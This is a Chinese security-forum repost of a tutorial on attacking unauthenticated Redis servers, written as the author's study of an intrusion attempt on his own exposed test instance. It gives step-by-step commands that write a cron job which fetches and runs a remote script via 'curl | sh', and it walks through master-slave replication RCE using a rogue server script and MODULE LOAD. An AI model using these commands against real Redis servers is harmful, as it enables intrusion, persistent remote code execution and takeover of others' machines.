安全矩阵

 找回密码
 立即注册
搜索
查看: 1755|回复: 0

一次redis未授权写入攻击以及RCE 学习

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-6-20 21:15:18 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-6-20 21:19 编辑

一次redis未授权写入攻击以及RCE 学习
雾晓安全
2022-06-20 08:00
以下文章来源于巡安似海 ,作者K0rz3n
转载地址:一次redis未授权写入攻击以及RCE 学习

0x01漏洞背景
前段时间自己使用redis开发的时候,搞了一个docker,然后直接开放连接没有密码,其实一开始我就知道会被黑产扫到然后给我种马,
但是把因为也是测试服务,其实也没怎么上心,于是就放任自由了,结果第二天果然收到了一份新鲜的木马。然后简单对其入侵做了一个分析,
结果发现没有能攻击成功,但是既然木马在了就简单看看吧。

0x02 攻击机制(原理)
1.攻击条件

(1)空密码并且允许外部直接连接
因为在3.2以后有了保护模式,保护模式的作用就是在没有设置密码并且没有配置bind地址的时候强行只允许本机连接,但是对于绑定地址或者
是配置过密码的服务来讲这一项可以忽略。另外还有一个误区就是这个绑定地址不是绑定外部的地址,而是绑定自己服务器的允许作为与外部
进行连接的IP地址,比如绑定自己服务器的外网IP,或者绑定 127.0.0.1或者绑定0.0.0.0,这个绑定0.0.0.0就是绑定了自己服务器全部的IP
地址(服务器可以有很多的IP,比如内网IP、回环IP、外网IP等 ),因此其实对于一般的服务器来说,绑定自己的外网IP和直接绑定0.0.0.0是
没区别的,不设置密码的情况下去绑定外网IP起不到任何的保护作用,返回会因为绑定了地址让保护模式失效遭受攻击。

(2)使用 root 权限启动 redis
高权限用户启动的程序拥有和启动该程序用户一样的权限,这大大有利于攻击者在控制了redis之后借助这种高权限去修改高权限配置文件
来完成攻击(不过现在高版本的redis启动默认都是redis权限了而不是原来的root权限)


(3)redis 在没有保护措施的情况下也没有修改默认端口
默认端口是6379,很容易被扫到

(4)补充
Ubuntu下执行crontab使用的是sh , 而sh软连接的是dash,而不是bash,那么如果你直接在cron里面写bash - i xx的反弹是不可能
成功的,解决方法有两种,一种就是使用Python调用/bin/sh反弹shell,还有一种可以尝试写sh 文件,然后用cron去执行

2.攻击利用的机制
redis的攻击主要是利用redis的持久化存储RDB或者AOF(默认不开启),所谓持久化就是一种快照机制,用来后期恢复数据。
比如RDB可以在一定的条件下将当前内存的数存储进一个dump.rdb文件中,如果下次想恢复这个数据的话,就需要将这个文件放在redis的快照保存目录下,
替换当前的dump.rdb再次重启这样就能恢复原始的数据了

3.大概的攻击流程(1)修改 redis 的 rdb 文件的存放路径为 root 用户的 crontab 配置文件
设置dir到定时任务目录
  1. config set dir "/var/spool/cron"
复制代码


设置持rdb文件名为root
  1. config set dbfilename root
复制代码


(2)使用 FLUSHALL 进行清除数据库
  1. 127.0.0.1:6379> flushall
复制代码

  1. OK
复制代码


这一步主要是想清除原始root文件的内容,也是为了避免不必要的格式错误
(3)在 redis 中写入我们的 cron 语句
  1. 127.0.0.1:6379> set test "\n*/10 * * * *  curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh\n"
  2. OK
复制代码


(4)强行触发 rdb 更新
  1. 127.0.0.1:6379> save
复制代码


至此我们的cron的数据就写入到了root用户的cron件夹中了

(5)总结:
除了可以写cron以外,写个一句话webshell也是可以的,其实可以清楚地看到,redis的成功攻击除了依赖于权限配置的
失误以外,一句话webshell以及cron对格式要求的不严格也是一大重要因素。

0x03 Redis主从复制RCE
攻击者也是一样,直接flushall了我的全部的key,然后直接给我写一个名为 back 的cron,每一分钟从他的服务器上下载了一个脚本运行。
  1. * * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh
复制代码

-f:不输出错误
-s: 静默不输出
-S: -s 条件下输出错误
-L: 跟踪重定向


在确定了攻击者攻击并没有成功以后,我下载了木马,然后简单的分析了一下,看看有没有什么操作我没有检测到的。



1.Redis主从复制RCE基本原理
该攻击方法使用的是redis中的主从复制,以及redis 4.x中新引入的自定义模块加载功能。
(1)简单解释一下这两个概念
主从复制的概念:
redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。虽然redis的读写速度都非常快,但
如果当把数据都存储在单个redis的实例中,供客户端去读取的话,那么很有可能会产生服务器难以承受的读压力。
为了缓解这样的压力,主从复制这样的机制出现了,主从模式就是指使用一个redis实例作为主机(master),其他实例作为从机(slave),
主机只负责写入数据,很多的从机负责读,这就很想我们常常说的CDN负载均衡的功能,如下图所示

2.利用条件Redis 4.x、可以远程连接到目标 redis 服务器
3.利用的基本步骤其实上面我们已经说了,这里再细化一下
  1. (1)在目标上执行, 将自己vps设置为master: SLAVEOF vps port
  2. (2)在目标上执行,设置一下 dbfilename 为 xxx.so 文件
  3. (3)通过同步,将模块文件写到目标的磁盘上: FULLRESYNC <Z*40> 1\r\n$\r\n
  4. (4)在目标上执行,加载模块: MODULE LOAD /tmp/exp.so
复制代码

4.利用演示
(1)下载 redis 4.0 镜像作为受害靶机
  1. docker pull redis:4.0
复制代码


(2)交互方式运行镜像,将 6379 端口映射到主机的 6666 端口
  1. docker run -p 6666:6379 -it 67f7ad418fdf /bin/bash
复制代码


(3)在 docker 中启动 redis 服务
  1. redis-server
复制代码

(4)启动以后我们可以远程连接看一下效果

可以看到远端成功无权限访问我的redis数据库,并且可以插入数据

(5)在主机中 clone 攻击脚本
  1. git clone https://github.com/K0rz3n/redis-rogue-server-1.git
复制代码

(6)运行脚本
  1. python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6666 --lhost xxx.xxx.xxx.xxx --lport 2333
复制代码

运行脚本后靶机就会把我们的lhost作为master然后自己做为slave了,并且会同步数据
靶机运行效果:


流氓服务器运行效果:

注:这里的 127 实际上是靶机,xxx 代表的是我的 “流氓服务器”

(7)查看现在的 redis 服务器

可以看出来,现在的数据库以及沦为了只读模式的slave

(8)执行命令






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 02:28 , Processed in 0.014842 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表